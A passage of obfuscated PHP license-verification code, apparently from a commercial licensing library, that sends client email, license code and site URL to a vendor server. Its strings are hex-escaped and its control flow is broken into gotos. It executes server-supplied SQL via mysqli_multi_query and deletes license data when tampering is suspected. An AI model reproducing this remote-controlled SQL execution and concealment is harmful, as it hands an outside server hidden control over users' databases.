    $notifications_array["\x6e\157\x74\x69\x66\151\x63\x61\x74\151\x6f\x6e\x5f\143\141\163\145"] = "\x6e\x6f\x74\x69\146\151\143\x61\164\x69\x6f\x6e\x5f\x6e\157\137\143\157\156\x6e\145\x63\x74\151\157\x6e";
    $notifications_array["\x6e\157\x74\x69\146\151\143\x61\x74\x69\x6f\156\137\164\145\170\x74"] = APL_NOTIFICATION_NO_CONNECTION;
    goto EWJyS;
    PL9MC:
    if (!($content_array["\142\157\144\171"] != "\74\143\x6f\156\x6e\x65\143\x74\151\157\x6e\x5f\164\x65\163\x74\x3e\x4f\113\x3c\x2f\143\x6f\156\156\x65\143\x74\151\x6f\x6e\137\164\145\163\x74\x3e")) {
        goto Huyrf;
    }
    $notifications_array["\156\x6f\164\151\146\x69\143\x61\x74\x69\157\x6e\137\x63\141\x73\x65"] = "\x6e\x6f\x74\151\146\151\x63\x61\x74\151\x6f\156\137\x69\x6e\166\x61\x6c\x69\x64\137\162\x65\x73\160\157\156\163\145";
    $notifications_array["\x6e\x6f\x74\x69\146\x69\x63\x61\164\151\x6f\156\137\164\x65\x78\x74"] = APL_NOTIFICATION_INVALID_RESPONSE;
    Huyrf: EWJyS:
    return $notifications_array;
}

function aplCheckData($MYSQLI_LINK = null)
{
    $error_detected = 0;
    $cracking_detected = 0;
    $data_check_result = false;
    extract(aplGetLicenseData($MYSQLI_LINK));
    if (!(!empty($ROOT_URL) && !empty($INSTALLATION_HASH) && !empty($INSTALLATION_KEY) && !empty($LCD) && !empty($LRD))) {
        goto Pok2f;
    }
    $LCD = aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY);
    $LRD = aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY);
    if (!(!filter_var($ROOT_URL, FILTER_VALIDATE_URL) || !ctype_alnum(substr($ROOT_URL, -1)))) {
        goto Znv18;
    }
    $error_detected = 1;
    Znv18:
    if (!(filter_var(aplGetCurrentUrl(), FILTER_VALIDATE_URL) && stristr(aplGetRootUrl(aplGetCurrentUrl(), 1, 1, 0, 1), aplGetRootUrl("{$ROOT_URL}\57", 1, 1, 0, 1)) === false)) {
        goto Y2QUe;
    }
    $error_detected = 1;
    Y2QUe:
    if (!(empty($INSTALLATION_HASH) || $INSTALLATION_HASH != hash("\x73\150\x61\62\x35\66", $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE))) {
        goto MPNBk;
    }
    $error_detected = 1;
    MPNBk:
    if (!(empty($INSTALLATION_KEY) || !password_verify($LRD, aplCustomDecrypt($INSTALLATION_KEY, APL_SALT . $ROOT_URL)))) {
        goto PHzYC;
    }
    $error_detected = 1;
    PHzYC:
    if (aplVerifyDateTime($LCD, "\x59\55\155\55\144")) {
        goto lVzUn;
    }
    $error_detected = 1;
    lVzUn:
    if (aplVerifyDateTime($LRD, "\x59\x2d\155\x2d\144")) {
        goto heWI8;
    }
    $error_detected = 1;
    heWI8:
    if (!(aplVerifyDateTime($LCD, "\131\x2d\x6d\55\x64") && $LCD > date("\x59\x2d\x6d\55\x64", strtotime("\53\61\40\x64\141\x79")))) {
        goto Ks2ip;
    }
    $error_detected = 1;
    $cracking_detected = 1;
    Ks2ip:
    if (!(aplVerifyDateTime($LRD, "\x59\55\155\55\144") && $LRD > date("\x59\x2d\x6d\x2d\x64", strtotime("\x2b\61\40\144\x61\171")))) {
        goto Cc1s8;
    }
    $error_detected = 1;
    $cracking_detected = 1;
    Cc1s8:
    if (!(aplVerifyDateTime($LCD, "\x59\55\155\x2d\x64") && aplVerifyDateTime($LRD, "\x59\x2d\155\x2d\x64") && $LCD > $LRD)) {
        goto cymRz;
    }
    $error_detected = 1;
    $cracking_detected = 1;
    cymRz:
    if (!($cracking_detected == 1 && APL_DELETE_CRACKED == "\131\x45\123")) {
        goto xpzqR;
    }
    aplDeleteData($MYSQLI_LINK);
    xpzqR:
    if (!($error_detected != 1 && $cracking_detected != 1)) {
        goto lhbr1;
    }
    $data_check_result = true;
    lhbr1: Pok2f:
    return $data_check_result;
}

function aplVerifyEnvatoPurchase($LICENSE_CODE = null)
{
    $notifications_array = array();
    $content_array = aplCustomPost(APL_ROOT_URL . "\57\x61\160\x6c\137\143\x61\154\154\x62\x61\x63\x6b\163\57\x76\x65\x72\x69\146\x79\x5f\x65\156\x76\x61\x74\x6f\x5f\x70\165\162\143\150\141\163\x65\x2e\160\150\160", "\x70\162\157\144\165\x63\x74\137\151\x64\x3d" . rawurlencode(APL_PRODUCT_ID) . "\x26\x6c\151\143\x65\156\163\x65\x5f\x63\157\144\x65\x3d" . rawurlencode($LICENSE_CODE) . "\46\143\157\156\x6e\x65\x63\x74\x69\157\x6e\x5f\x68\x61\x73\150\75" . rawurlencode(hash("\163\x68\x61\62\x35\x36", "\166\x65\x72\x69\146\171\137\x65\x6e\x76\141\x74\157\x5f\160\165\x72\143\150\141\163\x65")));
    if (!empty($content_array)) {
        goto op_aD;
    }
    $notifications_array["\x6e\157\164\151\146\x69\143\141\164\151\x6f\x6e\137\x63\141\x73\x65"] = "\x6e\157\164\151\x66\151\143\141\x74\151\157\156\x5f\x6e\157\x5f\143\157\x6e\156\x65\x63\x74\151\x6f\x6e";
    $notifications_array["\x6e\157\x74\151\x66\x69\143\x61\x74\x69\x6f\156\x5f\x74\x65\x78\164"] = APL_NOTIFICATION_NO_CONNECTION;
    goto E0Aj1;
    op_aD:
    if (!($content_array["\x62\x6f\x64\x79"] != "\x3c\x76\x65\162\151\146\171\137\145\156\166\141\164\x6f\x5f\160\165\x72\143\x68\141\x73\x65\x3e\117\x4b\74\x2f\166\x65\162\x69\x66\171\137\145\156\166\x61\164\157\x5f\x70\165\162\143\150\141\163\145\x3e")) {
        goto A61sP;
    }
    $notifications_array["\156\157\164\151\146\151\143\x61\164\x69\157\x6e\137\x63\141\x73\145"] = "\x6e\157\164\x69\x66\151\143\141\x74\x69\157\x6e\x5f\151\156\x76\x61\x6c\151\x64\x5f\x72\x65\x73\x70\157\x6e\163\x65";
    $notifications_array["\156\x6f\164\151\x66\x69\143\141\164\x69\157\x6e\x5f\x74\145\x78\x74"] = APL_NOTIFICATION_INVALID_RESPONSE;
    A61sP: E0Aj1:
    return $notifications_array;
}

function incevioVerify($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $MYSQLI_LINK = null)
{
    $notifications_array = array();
    $apl_core_notifications = aplCheckSettings();
    if (empty($apl_core_notifications)) {
        goto WeJEx;
    }
    $notifications_array["\156\157\x74\x69\x66\x69\143\141\x74\x69\x6f\156\137\x63\141\163\x65"] = "\156\x6f\164\x69\x66\x69\143\x61\164\151\x6f\x6e\x5f\163\143\162\x69\x70\x74\137\x63\157\162\162\165\x70\x74\145\144";
    $notifications_array["\x6e\157\164\x69\146\151\x63\141\x74\151\x6f\156\137\x74\x65\170\164"] = implode("\73\40", $apl_core_notifications);
    goto jexqj;
    WeJEx:
    if (!empty(aplGetLicenseData($MYSQLI_LINK)) && is_array(aplGetLicenseData($MYSQLI_LINK))) {
        goto mMb9_;
    }
    $INSTALLATION_HASH = hash("\163\150\141\62\x35\66", $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE);
    $post_info = "\x70\162\x6f\144\165\143\x74\x5f\x69\x64\75" . rawurlencode(APL_PRODUCT_ID) . "\x26\143\154\x69\x65\x6e\x74\x5f\145\155\x61\x69\154\75" . rawurlencode($CLIENT_EMAIL) . "\46\154\x69\143\145\156\163\145\137\x63\157\144\145\75" . rawurlencode($LICENSE_CODE) . "\46\x72\x6f\x6f\164\137\165\x72\x6c\x3d" . rawurlencode($ROOT_URL) . "\46\151\156\x73\164\141\154\154\x61\x74\x69\157\156\x5f\x68\x61\163\x68\x3d" . rawurlencode($INSTALLATION_HASH) . "\46\154\151\x63\145\156\x73\145\137\163\x69\x67\x6e\141\164\165\x72\x65\x3d" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
    $content_array = aplCustomPost(APL_ROOT_URL . "\57\141\160\154\137\143\141\x6c\x6c\142\x61\x63\x6b\x73\57\x6c\x69\143\145\156\163\145\x5f\x69\x6e\163\164\x61\x6c\154\x2e\x70\150\x70", $post_info, $ROOT_URL);
    $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
    if (!($notifications_array["\156\157\x74\x69\x66\x69\143\141\x74\151\x6f\x6e\x5f\143\x61\163\145"] == "\x6e\x6f\x74\151\x66\151\x63\141\x74\151\157\x6e\x5f\154\x69\143\145\x6e\163\145\137\x6f\x6b")) {
        goto kQ9VA;
    }
    $INSTALLATION_KEY = aplCustomEncrypt(password_hash(date("\x59\x2d\155\x2d\144"), PASSWORD_DEFAULT), APL_SALT . $ROOT_URL);
    $LCD = aplCustomEncrypt(date("\x59\x2d\155\x2d\144", strtotime("\x2d" . APL_DAYS . "\x20\144\141\x79\163")), APL_SALT . $INSTALLATION_KEY);
    $LRD = aplCustomEncrypt(date("\x59\x2d\x6d\55\144"), APL_SALT . $INSTALLATION_KEY);
    if (!(APL_STORAGE == "\104\x41\124\x41\x42\101\x53\x45")) {
        goto tC_ml;
    }
    $content_array = aplCustomPost(APL_ROOT_URL . "\57\141\x70\x6c\137\x63\141\154\x6c\142\141\143\x6b\x73\x2f\x6c\151\x63\145\x6e\x73\x65\137\163\x63\150\x65\155\x65\56\x70\x68\160", $post_info, $ROOT_URL);
    $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
    if (!(!empty($notifications_array["\156\157\x74\x69\146\151\x63\x61\x74\x69\157\x6e\137\x64\x61\164\x61"]) && !empty($notifications_array["\156\x6f\x74\x69\x66\x69\x63\x61\164\x69\x6f\x6e\137\144\141\x74\x61"]["\x73\x63\150\145\x6d\145\137\161\x75\145\x72\171"]))) {
        goto jTPya;
    }
    $mysql_bad_array = array("\45\x41\x50\114\137\x44\101\124\x41\x42\101\x53\105\137\124\101\x42\x4c\x45\45", "\x25\122\x4f\117\124\137\x55\122\x4c\x25", "\x25\x43\114\x49\105\x4e\x54\137\x45\x4d\x41\111\x4c\45", "\45\114\111\103\105\116\x53\105\x5f\103\x4f\104\x45\x25", "\x25\114\x43\104\x25", "\x25\114\122\x44\x25", "\x25\x49\116\x53\124\x41\114\x4c\x41\124\111\x4f\x4e\137\113\x45\x59\45", "\45\x49\x4e\x53\x54\x41\114\x4c\101\124\111\117\116\137\x48\101\x53\110\45");
    $mysql_good_array = array(APL_DATABASE_TABLE, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $LCD, $LRD, $INSTALLATION_KEY, $INSTALLATION_HASH);
    $license_scheme = str_replace($mysql_bad_array, $mysql_good_array, $notifications_array["\156\157\164\x69\146\151\x63\141\164\x69\157\x6e\137\144\x61\x74\141"]["\163\143\x68\x65\x6d\145\137\x71\x75\x65\x72\x79"]);
    mysqli_multi_query($MYSQLI_LINK, $license_scheme) or die(mysqli_error($MYSQLI_LINK));
    jTPya: tC_ml:
    if (!(APL_STORAGE == "\106\111\114\x45")) {
        goto hx2hn;
    }
    $handle = @fopen(APL_DIRECTORY . "\57" . APL_LICENSE_FILE_LOCATION, "\x77\x2b");
    $fwrite = @fwrite($handle, "\74\x52\x4f\117\x54\137\x55\122\114\x3e{$ROOT_URL}\74\x2f\x52\x4f\117\x54\x5f\125\x52\114\x3e\x3c\x43\x4c\111\x45\x4e\x54\x5f\105\x4d\x41\111\114\76{$CLIENT_EMAIL}\x3c\57\x43\114\x49\x45\116\x54\x5f\105\x4d\x41\111\x4c\x3e\x3c\x4c\x49\x43\105\116\x53\105\x5f\x43\117\x44\105\x3e{$LICENSE_CODE}\x3c\x2f\114\x49\x43\105\x4e\x53\105\x5f\103\117\x44\x45\x3e\74\x4c\x43\x44\76{$LCD}\74\57\114\103\104\76\x3c\x4c\x52\x44\76{$LRD}\74\x2f\x4c\122\104\76\x3c\x49\x4e\x53\124\101\x4c\x4c\101\124\111\x4f\116\x5f\113\105\131\76{$INSTALLATION_KEY}\74\57\111\x4e\123\x54\x41\x4c\x4c\x41\x54\x49\x4f\116\137\113\x45\x59\x3e\x3c\x49\x4e\x53\124\x41\114\x4c\101\124\x49\117\x4e\x5f\110\101\123\x48\76{$INSTALLATION_HASH}\x3c\x2f\x49\x4e\x53\124\x41\114\114\x41\x54\111\117\116\137\110\x41\123\110\x3e");
    if (!($fwrite === false)) {
        goto VLhEm;
    }
    echo APL_NOTIFICATION_LICENSE_FILE_WRITE_ERROR;
    exit;
    VLhEm:
    @fclose($handle);
    hx2hn: kQ9VA:
    goto A9jEj;
    mMb9_:
    $notifications_array["\x6e\x6f\164\x69\146\x69\143\141\x74\151\x6f\x6e\x5f\x63\x61\163\145"] = "\156\x6f\164\151\146\x69\x63\x61\164\151\157\x6e\137\x61\x6c\x72\145\x61\x64\171\x5f\x69\x6e\163\x74\141\154\x6c\x65\144";
    $notifications_array["\156\x6f\x74\151\146\151\x63\141\164\x69\x6f\156\137\164\145\x78\x74"] = APL_NOTIFICATION_SCRIPT_ALREADY_INSTALLED;
    A9jEj: jexqj:
    return $notifications_array;
}

function preparePackageInstallation($installable)
{
    $notifications_array = array();
    $apl_core_notifications = aplCheckSettings();
    if (!empty($apl_core_notifications)) {
        goto W4nHY;
    }
    $MYSQLI_LINK = getMysqliConnection();
    $core_license = aplGetLicenseData($MYSQLI_LINK);
    if (!(empty($core_license) || !is_array($core_license))) {
        goto rm0IT;
    }
    throw new \Exception("\x43\x6f\x72\145\x20\x73\143\162\x69\x70\x74\x20\x6c\151\x63\x65\x6e\x73\x65\x20" . "\166\141\x6c\151\144\x61\x74\x69\157\x6e" . "\x20\146\141\151\x6c\145\144\41\40\x50\154\145\141\163\145\x20\x63\x6f\x6e\x74\x61\x63\164" . "\x20\x73\x75\x70\160\157\x72\164\x20\146\157\162\40\x68\145\154\x70\x2e");
    rm0IT:
    $CLIENT_EMAIL = $core_license["\x43\114\111\105\116\x54\x5f\x45\115\x41\111\114"];
    $LICENSE_CODE = $installable["\x6c\x69\x63\x65\x6e\x73\145\x5f\153\145\171"];
    $ROOT_URL = config("\x61\x70\x70\56\165\x72\x6c");
    $INSTALLATION_HASH = hash("\163\x68\141\x32\x35\x36", $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE);
    $post_info = "\x70\x72\x6f\x64\165\143\164\x5f\x69\x64\x3d" . rawurlencode($installable["\x69\144"]) . "\46\x63\154\x69\145\x6e\164\137\x65\x6d\141\x69\x6c\x3d" . rawurlencode($CLIENT_EMAIL) . "\46\154\x69\143\145\x6e\163\x65\137\143\157\x64\145\x3d" . rawurlencode($LICENSE_CODE) . "\46\x72\157\157\164\x5f\x75\162\x6c\x3d" . rawurlencode($ROOT_URL) . "\x26\x69\x6e\x73\164\141\x6c\154\x61\164\151\x6f\x6e\x5f\x68\x61\163\x68\75" . rawurlencode($INSTALLATION_HASH) . "\46\154\151\143\145\x6e\x73\145\x5f\163\151\x67\x6e\141\x74\165\x72\145\x3d" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $installable["\151\x64"]));
    $content_array = aplCustomPost(APL_ROOT_URL . "\x2f\x61\x70\x6c\x5f\143\141\154\154\x62\x61\143\153\x73\x2f\x6c\x69\143\145\x6e\163\x65\137\151\156\x73\164\x61\154\154\x2e\160\x68\x70", $post_info, $ROOT_URL);
    $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $installable["\x69\x64"]);
    if ($notifications_array["\x6e\157\x74\151\x66\151\x63\x61\164\151\x6f\156\x5f\143\x61\163\145"] == "\156\157\x74\x69\x66\x69\143\x61\164\151\157\x6e\137\x6c\x69\x63\x65\156\163\145\x5f\x6f\x6b") {
        goto XkdB7;
    }
    if (empty($notifications_array["\156\x6f\164\x69\146\151\143\x61\164\x69\157\x6e\x5f\164\145\170\x74"])) {
        goto hb8X3;
    }
    throw new \Exception("\x4c\151\143\145\x6e\163\145\40" . "\x76\x61\154\x69\x64\x61\x74\151\x6f\x6e" . "\x20\146\141\x69\154\145\144\41\x20" . $notifications_array["\156\x6f\x74\151\x66\151\x63\x61\164\151\157\x6e\x5f\164\145\x78\164"]);
    hb8X3:
    goto O7bkd;
    XkdB7:
    $INSTALLATION_KEY = aplCustomEncrypt(password_hash(date("\131\x2d\155\55\144"), PASSWORD_DEFAULT), APL_SALT . $ROOT_URL);
    $LCD = aplCustomEncrypt(date("\131\55\x6d\x2d\144", strtotime("\x2d" . APL_DAYS . "\40\x64\x61\171\163")), APL_SALT . $INSTALLATION_KEY);
    $LRD = aplCustomEncrypt(date("\131\x2d\155\x2d\144"), APL_SALT . $INSTALLATION_KEY);
    $content_array = aplCustomPost(APL_ROOT_URL . "\57\141\x70\154\137\143\x61\x6c\154\x62\x61\143\153\163\x2f\154\x69\x63\145\156\x73\x65\x5f\163\x63\150\145\x6d\x65\56\x70\150\x70", $post_info, $ROOT_URL);
    $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $installable["\x69\144"]);
    if (!(!empty($notifications_array["\x6e\157\164\151\146\x69\x63\141\x74\x69\x6f\156\x5f\x64\x61\164\141"]) && !empty($notifications_array["\156\157\x74\151\x66\151\143\141\x74\x69\157\x6e\x5f\x64\141\164\x61"]["\163\143\150\145\x6d\145\137\x71\x75\x65\x72\171"]))) {
        goto doUx3;
    }
    return ["\151\x6e\x73\x74\141\154\154\x61\164\x69\157\156\137\x6b\145\171" => $INSTALLATION_KEY, "\x69\156\x73\x74\141\154\x6c\x61\x74\x69\x6f\x6e\x5f\x68\141\163\150" => $INSTALLATION_HASH, "\x6c\143\144" => $LCD, "\x6c\162\144" => $LRD];
    doUx3: O7bkd: W4nHY:
    throw new \Exception("\114\x69\143\145\156\x73\145\40" . "\x76\x61\x6c\x69\x64\141\164\x69\x6f\156" . "\40\146\141\151\x6c\145\x64\41\40\120\x6c\145\141\163\x65\x20\x63\157\x6e\x74\x61\143\x74" . "\40\x73\x75\160\160\157\x72\164\x20\x66\157\162\40\150\145\x6c\x70\x2e");
}

function incevioAutoloadHelpers($MYSQLI_LINK = null, $FORCE_VERIFICATION = 0)
{
    $notifications_array = array();
    $update_lrd_value = 0;
    $update_lcd_value = 0;
    $updated_records = 0;
    $apl_core_notifications = aplCheckSettings();
    if (empty($apl_core_notifications)) {
        goto F5jZL;
    }
    $notifications_array["\x6e\157\x74\x69\146\x69\143\x61\164\x69\157\x6e\x5f\x63\x61\163\x65"] = "\156\x6f\164\x69\x66\151\x63\x61\164\151\157\x6e\x5f\163\x63\162\151\x70\164\137\143\157\x72\162\165\160\x74\x65\144";
    $notifications_array["\156\x6f\164\151\146\x69\x63\141\x74\151\157\x6e\137\164\x65\170\x74"] = implode("\73\40", $apl_core_notifications);
    goto RlofD;
    F5jZL:
    if (aplCheckData($MYSQLI_LINK)) {
        goto PJ1D8;
    }
    $notifications_array["\156\x6f\164\x69\146\151\x63\x61\164\x69\157\156\x5f\143\141\163\145"] = "\156\157\x74\151\x66\x69\143\141\164\x69\157\156\137\x6c\151\143\145\156\163\x65\137\x63\157\162\x72\165\160\164\145\x64";
    $notifications_array["\156\157\164\x69\x66\151\143\141\164\151\157\156\x5f\164\x65\x78\x74"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
    goto bCqPn;
    PJ1D8:
    extract(aplGetLicenseData($MYSQLI_LINK));
    if (aplGetDaysBetweenDates(aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY), date("\x59\55\155\55\144")) < APL_DAYS && aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY) <= date("\x59\55\x6d\x2d\144") && aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY) <= date("\131\55\x6d\x2d\144") && $FORCE_VERIFICATION === 0) {
        goto n268Y;
    }
    $post_info = "\160\162\x6f\144\x75\143\x74\137\151\x64\x3d" . rawurlencode(APL_PRODUCT_ID) . "\x26\143\x6c\151\x65\x6e\164\137\145\x6d\141\x69\x6c\75" . rawurlencode($CLIENT_EMAIL) . "\46\x6c\x69\x63\145\x6e\163\x65\137\143\157\x64\x65\75" . rawurlencode($LICENSE_CODE) . "\46\x72\x6f\157\164\137\165\x72\x6c\x3d" . rawurlencode($ROOT_URL) . "\46\x69\x6e\x73\x74\141\x6c\x6c\x61\x74\x69\157\156\137\150\141\163\150\x3d" . rawurlencode($INSTALLATION_HASH) . "\46\x6c\151\143\145\x6e\x73\145\x5f\163\151\x67\x6e\141\x74\x75\x72\145\75" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
    $content_array = aplCustomPost(APL_ROOT_URL . "\x2f\141\160\154\137\143\141\x6c\x6c\x62\x61\143\153\x73\57\154\x69\x63\x65\x6e\x73\x65\x5f\x76\145\x72\151\146\x79\56\x70\150\160", $post_info, $ROOT_URL);
    $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
    if (!($notifications_array["\x6e\157\x74\x69\x66\x69\x63\141\x74\151\157\x6e\137\143\x61\x73\x65"] == "\156\x6f\164\151\146\x69\143\x61\164\151\157\156\x5f\154\151\143\145\156\163\x65\x5f\x6f\x6b")) {
        goto fltTs;
    }
    $update_lcd_value = 1;
    fltTs:
    if (!($notifications_array["\x6e\157\x74\151\x66\151\143\x61\x74\151\157\x6e\x5f\143\x61\x73\x65"] == "\x6e\x6f\164\x69\x66\x69\x63\x61\164\x69\x6f\156\137\154\151\x63\x65\156\x73\x65\x5f\x63\x61\x6e\x63\145\x6c\x6c\x65\144" && APL_DELETE_CANCELLED == "\x59\105\123")) {
        goto XQZA0;
    }
    aplDeleteData($MYSQLI_LINK);
    XQZA0:
    goto oCRtN;
    n268Y:
    $notifications_array["\x6e\157\164\151\146\151\143\141\164\x69\157\156\137\x63\141\163\x65"] = "\x6e\157\x74\151\x66\x69\143\141\164\151\157\x6e\x5f\154\151\x63\145\x6e\x73\145\137\157\153";
    $notifications_array["\156\157\164\x69\146\151\143\141\x74\151\157\x6e\137\x74\145\x78\x74"] = APL_NOTIFICATION_BYPASS_VERIFICATION;
    oCRtN:
    if (!(aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY) < date("\x59\x2d\155\x2d\x64"))) {
        goto li8F3;
    }
    $update_lrd_value = 1;
    li8F3:
    if (!($update_lrd_value == 1 || $update_lcd_value == 1)) {
        goto xcI0Z;
    }
    if ($update_lcd_value == 1) {
        goto HpZrT;
    }
    $LCD = aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY);
    goto vrwP1;
    HpZrT:
    $LCD = date("\x59\x2d\x6d\x2d\144");
    vrwP1:
    $INSTALLATION_KEY = aplCustomEncrypt(password_hash(date("\x59\x2d\x6d\55\x64"), PASSWORD_DEFAULT), APL_SALT . $ROOT_URL);
    $LCD = aplCustomEncrypt($LCD, APL_SALT . $INSTALLATION_KEY);
    $LRD = aplCustomEncrypt(date("\x59\55\x6d\55\x64"), APL_SALT . $INSTALLATION_KEY);
    if (!(APL_STORAGE == "\104\x41\x54\x41\102\101\123\x45")) {
        goto xIiEw;
    }
    $stmt = mysqli_prepare($MYSQLI_LINK, "\125\120\104\x41\x54\x45\x20" . APL_DATABASE_TABLE . "\x20\123\105\x54\x20\114\x43\x44\75\77\54\x20\114\122\104\75\x3f\54\40\111\x4e\x53\124\101\114\x4c\x41\x54\111\x4f\x4e\x5f\x4b\105\x59\75\77");
    if (!$stmt) {
        goto FvvuO;
    }
    mysqli_stmt_bind_param($stmt, "\163\x73\163", $LCD, $LRD, $INSTALLATION_KEY);
    $exec = mysqli_stmt_execute($stmt);
    $affected_rows = mysqli_stmt_affected_rows($stmt);
    if (!($affected_rows > 0)) {
        goto eZU3k;
    }
    $updated_records = $updated_records + $affected_rows;
    eZU3k:
    mysqli_stmt_close($stmt);
    FvvuO:
    if (!($updated_records < 1)) {
        goto QJfFZ;
    }
    echo APL_NOTIFICATION_DATABASE_WRITE_ERROR;
    exit;
    QJfFZ: xIiEw:
    if (!(APL_STORAGE == "\106\x49\x4c\x45")) {
        goto Ego4O;
    }
    $handle = @fopen(APL_DIRECTORY . "\57" . APL_LICENSE_FILE_LOCATION, "\x77\53");
    $fwrite = @fwrite($handle, "\x3c\122\117\117\124\x5f\x55\x52\x4c\x3e{$ROOT_URL}\x3c\x2f\x52\117\117\x54\x5f\x55\122\114\x3e\74\103\114\x49\105\116\x54\137\105\115\x41\x49\x4c\76{$CLIENT_EMAIL}\74\57\103\114\x49\x45\116\124\137\105\x4d\x41\x49\114\76\74\x4c\111\x43\x45\116\x53\x45\137\103\x4f\104\x45\76{$LICENSE_CODE}\x3c\x2f\x4c\x49\103\x45\x4e\123\x45\x5f\103\117\104\x45\76\74\114\x43\104\x3e{$LCD}\74\x2f\x4c\103\104\76\x3c\114\x52\104\x3e{$LRD}\74\57\114\122\x44\x3e\x3c\x49\116\123\x54\101\x4c\114\101\124\111\117\x4e\137\x4b\x45\x59\76{$INSTALLATION_KEY}\74\x2f\x49\116\x53\124\x41\x4c\x4c\x41\x54\x49\117\x4e\137\113\105\x59\x3e\x3c\111\x4e\123\x54\x41\x4c\114\x41\124\x49\117\x4e\x5f\x48\101\123\x48\76{$INSTALLATION_HASH}\74\57\111\x4e\123\124\x41\114\x4c\101\124\x49\x4f\116\137\x48\x41\x53\110\76");
    if (!($fwrite === false)) {
        goto H37Kq;
    }
    echo APL_NOTIFICATION_LICENSE_FILE_WRITE_ERROR;
    exit;
    H37Kq:
    @fclose($handle);
    Ego4O: xcI0Z: bCqPn: RlofD:
    if (!($notifications_array["\156\157\164\x69\x66\x69\x63\141\x74\x69\x6f\x6e\x5f\x63\x61\163\x65"] != "\x6e\x6f\x74\151\146\x69\143\141\x74\x69\x6f\x6e\x5f\x6c\x69\143\x65\156\163\x65\x5f\x6f\x6b")) {
        goto OEEhm;
    }
    echo "\x3c\142\162\x2f\76\74\142\162\x2f\76";
    echo "\114\151\x63\145\x6e\163\145\40\x69\163\x20\156\x6f\x74" . "\x20\x69\x6e\163\164\141\154\154\145\x64\40\x79\x65\x74" . "\x20\x6f\162\40\x63\157\162\x72\x75\160\x74\x65\x64\x2e\x20\x50\154\145\141\163\145" . "\x20\x63\157\x6e\164\141\143\164" . "\x20\x73\x75\x70\160\157\x72\x74\40" . "\164\145\x61\x6d\40";
    echo "\x20\74\x61\40\150\x72\145\146\x3d\42" . get_license_reset_url() . "\x22\x3e" . trans("\x61\x70\160\x2e\x75\160\144\x61\x74\145\x5f\141\x70\160\x5f\154\x69\x63\x65\x6e\x73\145") . "\74\x2f\x61\76";
    exit;
    OEEhm:
    return $notifications_array;
}

function aplVerifySupport($MYSQLI_LINK = null)
{
    $notifications_array = array();
    $apl_core_notifications = aplCheckSettings();
    if (empty($apl_core_notifications)) {
        goto Yxj33;
    }
    $notifications_array["\156\x6f\x74\x69\x66\x69\143\x61\x74\151\157\156\137\143\x61\x73\145"] = "\x6e\157\164\x69\x66\x69\x63\141\164\x69\157\156\x5f\x73\143\x72\x69\x70\x74\x5f\x63\157\162\x72\x75\160\164\x65\x64";
    $notifications_array["\156\x6f\x74\151\x66\x69\x63\141\164\x69\x6f\156\x5f\x74\x65\x78\164"] = implode("\x3b\40", $apl_core_notifications);
    goto PXnqV;
    Yxj33:
    if (aplCheckData($MYSQLI_LINK)) {
        goto Rmw7h;
    }
    $notifications_array["\156\157\164\x69\x66\x69\143\141\x74\151\157\x6e\x5f\143\x61\x73\x65"] = "\x6e\157\164\151\146\151\x63\141\164\151\157\156\x5f\x6c\151\143\145\156\x73\x65\x5f\x63\x6f\162\x72\165\160\164\145\x64";
    $notifications_array["\x6e\x6f\x74\x69\x66\x69\143\141\164\151\157\156\x5f\164\145\170\x74"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
    goto x070g;
    Rmw7h:
    extract(aplGetLicenseData($MYSQLI_LINK));
    $post_info = "\160\162\x6f\x64\165\x63\164\137\x69\144\x3d" . rawurlencode(APL_PRODUCT_ID) . "\46\x63\154\151\x65\156\164\x5f\145\x6d\x61\x69\x6c\75" . rawurlencode($CLIENT_EMAIL) . "\x26\x6c\x69\x63\145\156\163\145\x5f\143\157\x64\x65\75" . rawurlencode($LICENSE_CODE) . "\46\x72\x6f\157\x74\x5f\x75\162\154\x3d" . rawurlencode($ROOT_URL) . "\x26\x69\156\x73\x74\x61\x6c\154\x61\164\x69\157\x6e\x5f\150\x61\x73\150\75" . rawurlencode($INSTALLATION_HASH) . "\x26\x6c\x69\143\145\x6e\x73\145\x5f\x73\x69\x67\x6e\x61\x74\165\x72\145\75" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
    $content_array = aplCustomPost(APL_ROOT_URL . "\x2f\141\160\154\x5f\143\x61\x6c\154\x62\x61\x63\153\163\57\154\x69\x63\145\156\x73\145\137\163\x75\160\x70\157\x72\164\56\x70\x68\x70", $post_info, $ROOT_URL);
    $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
    x070g: PXnqV:
    return $notifications_array;
}

function aplVerifyUpdates($MYSQLI_LINK = null)
{
    $notifications_array = array();
    $apl_core_notifications = aplCheckSettings();
    if (empty($apl_core_notifications)) {
        goto i62QY;
    }
